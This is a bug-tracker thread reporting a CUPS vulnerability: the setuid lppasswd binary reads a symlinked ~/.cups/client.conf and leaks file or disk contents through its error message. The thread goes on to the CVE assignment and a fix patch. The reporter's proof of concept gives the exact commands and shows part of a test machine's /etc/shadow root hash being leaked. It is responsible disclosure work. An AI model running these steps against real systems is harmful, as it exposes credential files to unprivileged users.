lppasswd vulnerability #4319

Closed
michaelrsweet opened this Issue Dec 19, 2013 · 10 comments

Comments

Projects
None yet
1 participant
Collaborator

michaelrsweet commented Dec 19, 2013

Version: 1.7-current
CUPS.org User: thejh

I have found a vuln in the setuid "lppasswd" binary from recent CUPS versions.
Speaking in debian versions, 1.5.3-5+deb7u1 from wheezy is not affected, but
1.6.4-2 from jessie is.

According to the changelog, since version 1.4b1, "The lppasswd program is no longer installed setuid to root to make the default installation more secure." (thanks to Michael Sweet for pointing that out).
However, e.g. Debian's postinst script for cups-client still does "chmod u+s /usr/bin/lppasswd" explicitly.

This issue has already been reported by me to the Debian Security contact since
I was unable to find a contact address for CUPS.

Could you please request a CVE identifier for this issue?

To find out the name of the current user, systemv/lppasswd.c calls cupsUser(),
which is located in cups/usersys.c. This function calls _cupsSetDefaults()
which clearly was not designed to be used in setuid code. It uses lots of data
from environment variables and also reads $HOME/.cups/client.conf as a
configfile. If the environment variables CUPS_USER and USER aren't set, this
file is used to determine the username.
Later, when lppasswd has found out that the user does not have an entry in the
password file, it shows an error message that leaks the username from the
config.

This means that an unprivileged user can use the lppasswd binary to extract
data from arbitrary files as long as it appears to be a "user" configuration
directive.

A user directive must match roughly the following regex (case-insensitive):
"[ \t]user[ \t]+([^\n])". Also, the distance from the last newline must be
a multiple of 256 (normally 0).
If there are multiple user directives, only the first is used, which makes
exploitation somewhat hard � I was not able to create an exploit that can
read the shadowfile's head or so on a real system yet, but someone else might.

Note that $HOME/.cups/client.conf can be a symlink and that such a
"configuration file" can contain binary data!

Example 1:


user@debian:$ id
uid=1000(user) gid=1000(user) Gruppen=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),103(netdev),106(scanner)
user@debian:
$ mount|grep 'on / '
/dev/disk/by-uuid/99b37438-7770-453a-b74c-67f24f05b393 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
user@debian:$ ls -l /dev/disk/by-uuid/99b37438-7770-453a-b74c-67f24f05b393
lrwxrwxrwx 1 root root 10 Dez 15 19:13 /dev/disk/by-uuid/99b37438-7770-453a-b74c-67f24f05b393 -> ../../sda1
user@debian:
$ ls -l /dev/sda1
brw-rw---- 1 root disk 8, 1 Dez 15 19:13 /dev/sda1
user@debian:$ mkdir .cups
user@debian:
$ ln -s /dev/sda1 .cups/client.conf
user@debian:~$ env -i HOME=$HOME lppasswd # the env is necessary to remove USER from the environment!
Enter old password: *
Enter password: ******
Enter password again: ******
lppasswd: user "= mail" and group "lp" do not exist.

lppasswd: Password file not updated.

OK, so what is that "= mail" from the error message?


root@debian:/# grep -a -b -i '^[ \t]*user[ \t]' /dev/sda1
21619130: user = mail
21621916: user = SYSTEM_ALIASES_USER
26946969:user %2U
43436277: user defined format
57198494:user %U

[...]

It's really the first matching "config line" on the disk. Now here's an
artificial example that shows what an attacker could do if there weren't any
matching files on the harddisk (luckily, even on a fresh installation, there
are lots of them):


root creates a new partition on which everyone can write

root@debian:/# mkdir foo
root@debian:/# dd if=/dev/zero bs=1024 of=foo.img count=1024 # 1MB
[...]
root@debian:/# chmod 0600 foo.img
root@debian:/# mkfs.ext2 foo.img
[...]
root@debian:/# mount foo.img foo
root@debian:/# chmod 0777 /foo

user writes a file with size a multiple of the blocksize, filled with \n and ending with "user "

user@debian:~$ (dd if=/dev/zero bs=1 count=4091 2>/dev/null | tr '\0' '\n' ; echo -n 'user ') > /foo/evulz.txt

root copies a sensitive file to the harddisk, the file gets written into the block behind the block of the user's file

root@debian:/# cp -p /etc/shadow /foo/
root@debian:/# ls -l /foo/shadow
-rw-r----- 1 root shadow 973 Dez 15 20:15 /foo/shadow

the user uses the exploit to read the head of the shadow file

user@debian:$ mkdir .cups
user@debian:
$ ln -s /foo.img .cups/client.conf
user@debian:~$ env -i HOME=$HOME lppasswd
Enter old password: *
Enter password: ******
Enter password again: ******
lppasswd: user "root:$6$FgZnPgf0$OsXBxwL5cY0/aqmMmNOpvVkg7QjklSxrK0NhqrV0LZAshLn" and group "lp" do not exist.

lppasswd: Password file not updated.

That's the start of root's password hash (and probably sufficient for a
brute-force attack). (No, I did not just tell you my real root password, this
is just a testing VM.)

At that point, the partition looks like this:

00009800 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a |................|
*
0000a7f0 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 75 73 65 72 20 |...........user |
0000a800 72 6f 6f 74 3a 24 36 24 46 67 5a 6e 50 67 66 30 |root:$6$FgZnPgf0|
0000a810 24 4f 73 58 42 78 77 4c 35 63 59 30 2f 61 71 6d |$OsXBxwL5cY0/aqm|
0000a820 4d 6d 4e 4f 70 76 56 6b 67 37 51 6a 6b 6c 53 78 |MmNOpvVkg7QjklSx|
0000a830 72 4b 30 4e 68 71 72 56 30 4c 5a 41 73 68 4c 6e |rK0NhqrV0LZAshLn|
0000a840 67 36 4a 43 36 4b 54 50 71 52 62 6c 6c 4e 37 73 |g6JC6KTPqRbllN7s|
0000a850 56 66 54 70 50 63 66 61 47 30 57 50 4d 54 7a 33 |VfTpPcfaG0WPMTz3|
0000a860 73 49 72 4c 54 31 2f 3a 31 36 30 35 34 3a 30 3a |sIrLT1/:16054:0:|
0000a870 39 39 39 39 39 3a 37 3a 3a 3a 0a 64 61 65 6d 6f |99999:7:::.daemo|
0000a880 6e 3a 2a 3a 31 36 30 35 34 3a 30 3a 39 39 39 39 |n::16054:0:9999|
0000a890 39 3a 37 3a 3a 3a 0a 62 69 6e 3a 2a 3a 31 36 30 |9:7:::.bin:
:160|
0000a8a0 35 34 3a 30 3a 39 39 39 39 39 3a 37 3a 3a 3a 0a |54:0:99999:7:::.|

The vuln seems to have been introduced in the file cups/usersys.c:

In CUPS 1.5.3, the cupsUser function
looks like this:

const char * /* O - User name /
cupsUser(void)
{
const char *user; /
USER environment variable _/
_cups_globals_t *cg = cupsGlobals(); / Pointer to library globals */

if (!cg->user[0])
{

ifdef WIN32

/*
* Get the current user name from the OS...
*/

DWORD       size;                   /* Size of string */

size = sizeof(cg->user);
if (!GetUserName(cg->user, &size))

else

/*
* Get the user name corresponding to the current UID...
*/

struct passwd       *pwd;           /* User/password entry */

setpwent();
if ((pwd = getpwuid(getuid())) != NULL)
{
 /*
  * Found a match!
  */

  strlcpy(cg->user, pwd->pw_name, sizeof(cg->user));
}
else

endif /* WIN32 */

if ((user = getenv("USER")) != NULL)
{
 /*
  * Use the username from the "USER" environment variable...
  */
  strlcpy(cg->user, user, sizeof(cg->user));
}
else
{
 /*
  * Use the default "unknown" user name...
  */

  strcpy(cg->user, "unknown");
}

}

return (cg->user);
}

In CUPS 1.6.4, it seems to have been rewritten completely:

const char * /* O - User name _/
cupsUser(void)
{
_cups_globals_t *cg = cupsGlobals(); / Pointer to library globals */

if (!cg->user[0])
_cupsSetDefaults();

return (cg->user);
}

This looks to me as if someone who wasn't aware of the setuid use decided to
refactor this code because it looked redundant to him or so.

Collaborator

michaelrsweet commented Dec 19, 2013

CUPS.org User: mike

I can't request a CVE identifier myself; assuming the Debian folks will do so...

What we'll need to do is add explicit checks in _cupsSetDefaults for setuid behavior (getuid() != geteuid()) and not allow the corresponding environment variables or directives to be used in those cases.

Collaborator

michaelrsweet commented Dec 19, 2013

CUPS.org User: mike

Also posted an RFC to the printing-architecture list asking whether Digest support is even needed going forward...

Collaborator

michaelrsweet commented Dec 19, 2013

CUPS.org User: thejh

From debian security:

Date: Thu, 19 Dec 2013 22:45:40 +0100
From: Yves-Alexis Perez corsac@debian.org
To: Jann Horn jann@thejh.net
Cc: Moritz Mühlenhoff jmm@inutil.org, security@debian.org
Subject: Re: CUPS issue [msweet@apple.com: Re: [LOW] STR #4319: lppasswd vulnerability]
User-Agent: Mutt/1.5.21 (2010-09-15)

On Thu, Dec 19, 2013 at 10:27:29PM +0100, Yves-Alexis Perez wrote:

On Thu, Dec 19, 2013 at 07:28:02PM +0100, Jann Horn wrote:

On Thu, Dec 19, 2013 at 07:01:09PM +0100, Moritz Mühlenhoff wrote:

On Thu, Dec 19, 2013 at 05:58:25PM +0100, Jann Horn wrote:

OK, the CUPS issue is filed in their bugtracker now, issue 4319. Could you
please request a CVE identifier?

Apple usually assigns from their own pool of IDs.

In the mail I quoted, msweet said "I can't request a CVE identifier
myself; assuming the Debian folks will do so...".

If msweet can't request an id at Apple I'm fine with allocating one from
Debian pool, but I think it'd be more logical for them to do it. I don't
have access to the #4319 str but can you forward this to them?

Also, as Wheezy and Squeeze are not affected, that means we won't
release a DSA (but only upload to sid), so I'd really much prefer them
to allocate a CVE).

Regards,

Yves-Alexis Perez
Debian security team

Collaborator

michaelrsweet commented Dec 21, 2013

CUPS.org User: thejh

Date: Thu, 19 Dec 2013 22:42:07 +0100
From: Moritz Mühlenhoff jmm@inutil.org
[...]

Please use CVE-2013-6891 and pass it to msweet.

Cheers,
Moritz

Collaborator

michaelrsweet commented Dec 21, 2013

CUPS.org User: mike

Sadly, I do not have the power to allocate a CVE, and Apple security won't do so because a) this is disabled by default, b) requires specific configuration to use, and c) isn't even compatible with OS X for many OS releases (so it does not affect OS X...)

Collaborator

michaelrsweet commented Dec 21, 2013

CUPS.org User: mike

Filed STR #4321: Remove lppasswd and Digest authentication support from CUPS

Collaborator

michaelrsweet commented Dec 22, 2013

CUPS.org User: mike

Jann,

OK, I've been looking at this a bit.

The code in cups/globals.c that sets up the standard directory paths for various things does not use environment variables if the program is setuid, setgid, or being run by root. So generally speaking we don't have an issue with environment variables getting used by a setuid/setgid program - that's limited to the HOME environment variable.

As for the HOME environment variable, I have just added the same checks into the code in cups/usersys.c that gets the HOME environment variable - a patch is attached that will prevent this particular attack.

Collaborator

michaelrsweet commented Dec 25, 2013

CUPS.org User: thejh

That patch looks good to me.

Someone could still run lppasswd on another user's password entry with "CUPS_USER=foo lppasswd", right? The lppasswd code tries to prevent that, but I don't really understand the reason. Is this an issue?

Collaborator

michaelrsweet commented Jan 6, 2014

CUPS.org User: mike

I don't see any code that would prevent lppasswd from using the username set in the environment; it also allows setting the username from the command-line.

Collaborator

michaelrsweet commented Jan 9, 2014

"str4319.patch":

Index: cups/usersys.c

--- cups/usersys.c (revision 11483)
+++ cups/usersys.c (working copy)
@@ -885,7 +860,13 @@
if (cg->encryption == (http_encryption_t)-1 || !cg->server[0] ||
!cg->user[0] || !cg->ipp_port)
{
+# ifdef HAVE_GETEUID

  • if ((geteuid() == getuid() || !getuid()) && getegid() == getgid() && (home = getenv("HOME")) != NULL)
    +# elif !defined(WIN32)
  • if (getuid() && (home = getenv("HOME")) != NULL)
    +# else
    if ((home = getenv("HOME")) != NULL)
    +# endif /* HAVE_GETEUID /
    {
    /
  • Look for ~/.cups/client.conf...

michaelrsweet added this to the Stable milestone Mar 17, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment